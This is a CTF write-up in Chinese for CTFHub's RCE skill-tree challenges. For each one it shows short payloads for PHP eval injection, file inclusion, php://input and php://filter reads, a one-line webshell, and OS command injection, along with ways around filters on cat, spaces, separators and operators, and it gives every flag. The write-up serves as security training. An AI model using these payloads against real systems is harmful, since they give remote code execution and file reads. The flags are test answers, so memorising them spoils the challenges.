CTFHub技能树-rce
[TOC]
eval执行
1 | <?php |
没有任何绕过,直接执行
1 | ?cmd=system('ls /'); |
ctfhub{953435d20ae6652047e620c4}
文件包含
审计代码,发现过滤了flag关键字,include包含文件的内容,根据提示,发现有个shell.txt文件,而且文件内容是接受传参请求,可以利用这个漏洞。
所以思路就是文件包含shell.txt文件,然后传参触发eval函数来rce。
1 | ?file=shell.txt&ctfhub=system('cat /f*'); |
ctfhub{e95bf56ca09c475de96779f8}
php://input
有个phpinfo()的网页,打开,搜索flag,没有。
根据提示使用php://input协议
ctfhub{fd2d24ec67a3d02745d252ec}
读取源代码
根据代码和提示,要使用php协议读取目录/flag
直接使用filter协议读取,构造:
1 | /?file=php://filter/convert.base64-encode/resource=/flag |
ctfhub{ad11f5cf0c3528e0097fc84f}
远程包含
跟上面的题目一样,直接使用php://input,然后写入一句话木马
蚁剑连接,拿到flag
ctfhub{bc23c4d608ef1b89ff1d8564}
命令注入
1 | <?php |
可以看出来是一个ping网址的功能,先试试
1 | 127.0.0.1;ls -al |
打开278612477123991.php
ctfhub{7c642fd3989abe8db46cf948}
过滤cat
1 | <?php |
过滤了cat,但是可以用tac
ctfhub{7c7a18aea2905940e36dd90e}
过滤空格
过滤了空格可以用${IFS}代替
ctfhub{635b63dfee2f877be2058c7c}
过滤目录分隔符
过滤了目录分隔符,但是可以使用命令拼接来找flag
1 | 127.0.0.1;cd flag_is_here;ls -al |
ctfhub{0a399fadb5bd0716775832b5}
过滤运算符
1 | <?php |
过滤了|和&符号,但是可以用分号;
ctfhub{83f8b09d42bb7631282a83b4}
综合过滤练习
1 | <?php |
分析一下,过滤了|&; ,可以使用%0a来作为回车符使用,效果一样
过滤三个关键字cat,flag,ctfhub,可以使用两个单引号或者两个双引号绕过
过滤空格,可以使用${IFS}绕过
1 | ?ip=127.0.0.1%0als${IFS}-al%0acd${IFS}fla''g_is_here%0aca''t${IFS}f* |
ctfhub{cbff46daeb4e000265fb35d6}